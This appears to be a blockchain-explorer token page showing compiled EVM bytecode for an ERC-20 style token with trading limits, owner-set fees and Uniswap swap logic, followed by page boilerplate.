15050565b5f6001600160a01b038416610a915760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c6574000000000000604482015260640161048d565b600f5460ff16610b1c576001600160a01b0384165f9081526007602052604090205460ff168015610ad957506001600160a01b0384165f9081526008602052604090205460ff165b610b1c5760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161048d565b600f54610100900460ff16158015610b4b57506001600160a01b0383165f908152600e602052604090205460ff165b8015610b5957506003548210155b15610b6657610b66610d84565b6001600160a01b0384163014801590610b8857506001600160a01b0383163014155b8015610ba157505f546001600160a01b03858116911614155b15610bee57610bb1848484610dea565b610bee5760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b604482015260640161048d565b5f610bfa858585610ead565b90505f610c0782856113fa565b6001600160a01b0387165f90815260056020526040812080549293508692909190610c339084906113fa565b9091555050305f9081526005602052604081208054849290610c56908490611478565b90915550506001600160a01b0385165f9081526005602052604081208054839290610c82908490611478565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610cce91815260200190565b60405180910390a350600195945050505050565b610ceb82610f9e565b600954600c5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610d58573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d7d919061148b565b5050505050565b600f805461ff001916610100179055305f9081526005602052604090205460035481118015610db55750600f5460ff165b15610dd1576004548110610dc857506004545b610dd181611040565b47610ddb81611146565b5050600f805461ff0019169055565b600f545f9060019060ff168015610e1957506001600160a01b0385165f9081526008602052604090205460ff16155b8015610e3d57506001600160a01b0384165f9081526008602052604090205460ff16155b1561051f57600154831115610e5357505f61051f565b6001600160a01b0384165f908152600e602052604090205460ff16158015610e9e57506002546001600160a01b0385165f90815260056020526040902054610e9c908590611478565b115b1561051f57505f949350505050565b600f545f90819060ff161580610eda57506001600160a01b0385165f9081526007602052604090205460ff165b80610efc57506001600160a01b0384165f9081526007602052604090205460ff165b15610f0857505f61051f565b6001600160a01b0385165f908152600e602052604090205460ff1615610f52575f54606490610f4190600160a81b900460ff16856113e3565b610f4b91906114b6565b905061051f565b6001600160a01b0384165f908152600e602052604090205460ff161561051f575f54606490610f8b90600160a01b900460ff16856113e3565b610f9591906114b6565b95945050505050565b305f908152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205481111561103d57305f818152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b61104981610f9e565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061107c5761107c6114d5565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106110d0576110d06114d5565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac947906111159085905f908690309042906004016114e9565b5f604051808303815f87803b15801561112c575f80fd5b505af115801561113e573d5f803e3d5ffd5b505050505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561117d573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b818110156111ad57858101830151858201604001528201611191565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461103d575f80fd5b5f80604083850312156111f2575f80fd5b82356111fd816111cd565b946020939093013593505050565b5f805f6060848603121561121d575f80fd5b8335611228816111cd565b92506020840135611238816111cd565b929592945050506040919091013590565b803560ff81168114611259575f80fd5b919050565b5f806040838503121561126f575f80fd5b61127883611249565b915061128660208401611249565b90509250929050565b5f6020828403121561129f575f80fd5b8135610954816111cd565b5f80604083850312156112bb575f80fd5b82356112c6816111cd565b915060208301356112d6816111cd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561132f57815f1904821115611315576113156112e1565b8085161561132257918102915b93841c93908002906112fa565b509250929050565b5f8261134557506001610422565b8161135157505f610422565b816001811461136757600281146113715761138d565b6001915050610422565b60ff841115611382576113826112e1565b50506001821b610422565b5060208310610133831016604e8410600b84101617156113b0575081810a610422565b6113ba83836112f5565b805f19048211156113cd576113cd6112e1565b029392505050565b5f61095460ff841683611337565b8082028115828204841417610422576104226112e1565b81810381811115610422576104226112e1565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f60208284031215611454575f80fd5b8151610954816111cd565b60ff8181168382160190811115610422576104226112e1565b80820180821115610422576104226112e1565b5f805f6060848603121561149d575f80fd5b8351925060208401519150604084015190509250925092565b5f826114d057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156115395784516001600160a01b031683529383019391830191600101611514565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212200d66c1f0126fd07c297cd096b9725179e7f4d20384f06faa0f1c36bdbb779a3064736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.